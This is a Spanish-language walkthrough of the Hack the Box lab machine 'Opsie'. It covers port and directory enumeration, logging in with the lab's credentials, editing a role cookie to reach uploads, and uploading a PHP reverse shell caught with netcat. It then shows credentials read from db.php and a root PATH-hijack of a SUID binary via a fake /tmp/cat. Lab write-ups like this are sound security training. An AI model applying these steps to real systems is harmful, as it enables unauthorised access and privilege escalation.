Opsie Writeup

FácilLinux
Las flags que resuelven este reto se encuentran protegidas. Comparte el artículo en redes sociales para desbloquearlas.
$User Flag
f2c74ee8...
#Root Flag
af13b0be...

En este writeup vamos a ver cómo resolver la máquina Opsie de la plataforma de Hack the Box.

Conexión

Conectar nuestra máquina de ataque a la VPN:

$ openvpn gorkamu-htb.ovpn

Enumeración

Empezamos buscando puertos abiertos con Nmap:

$ sudo nmap -sS -sC -sV -Pn -vvv --min-rate 5000 -oN nmap_services.txt -p22,80 10.10.10.28 PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Welcome Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Si hacemos un whatweb vemos lo siguiente:

$ whatweb 10.10.10.28http://10.10.10.28 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], Email[admin@megacorp.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.10.28], Script, Title[Welcome]

Busquemos directorios y ficheros ocultos con wfuzz

$ wfuzz -c --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.28/FUZZ

Vemos los siguientes directorios:

wfuzz
wfuzz

Sin embargo si le pasamos dirbuster encontraremos otras cosas más interesantes:

dirbuster
dirbuster

Obtener la User Flag

Si vamos a la página de login podremos loguearnos con las siguientes credenciales:

  • Usuario: admin
  • Password: MEGACORP_4dm1n!!

Una vez dentro del sistema vemos con burpsuite que se establece una cookie con el id del usuario y el rol:

cookie
cookie

Así que vamos a intentar cambiarla por lo siguiente:

  • user=86575
  • role=super admin

Y podremos entrar a la parte de uploads. Ahí subiremos una reverse shell de /usr/share/webshells/php/php-reverse-shell.php

php-reverse-shell
php-reverse-shell

Una vez subamos la reverse shell y accedamos a ella a través del navegador obtendremos una conexión en nuestro netcat.

netcat
netcat

Para mejorar y tratar la TTY hacemos lo siguiente:

SHELL=/bin/bash script -q /dev/null Ctrl-Z stty raw -echo fg reset xterm

Una vez dentro del servidor si vamos a /home/robert podremos leer el fichero user.txt con la user flag.

Obtener la Root Flag

Lo primero que tenemos que hacer es cambiarnos de usuario desde www-admin a robert.

Para ello podemos mirar el fichero de configuración que se encuentra en /var/www/html/cdn-cgi/login/db.php

Ahí nos encontraremos con las credenciales del usuario robert (M3g4C0rpUs3r!)

Al logearnos con él y ejecutar el comando id vemos que pertenece al grupo “bugtracker”.

Podemos buscar aquellos fichero que pertenecen a este grupo con el siguiente comando:

$ find / -type f -group bugtracker 2>/dev/null/usr/bin/bugtracker

Si le hacemos un ls -lrta a ese fichero vemos que tiene el byte de suid activado y con el comando strings descubrimos que hace una llamada de la siguiente forma:

cat /root/reports

Por lo cual vamos a crearnos un cat malicioso que será el que levante el bash como root.

Para ello lo primero que hacemos es exportar la variable de entorno PATH e incluir el directorio /tmp en ella:

$ export PATH=/tmp:$PATH $ echo '/bin/sh' > /tmp/cat $ chmod +x /tmp/cat $ /usr/bin/bugtracker

Una vez como root ya podremos leer el fichero de /root/root.txt y así obtener la Root flag.

También te puede interesar

Scriptkiddie Writeup

Scriptkiddie Writeup

Sense Writeup

Sense Writeup

Poison Writeup

Poison Writeup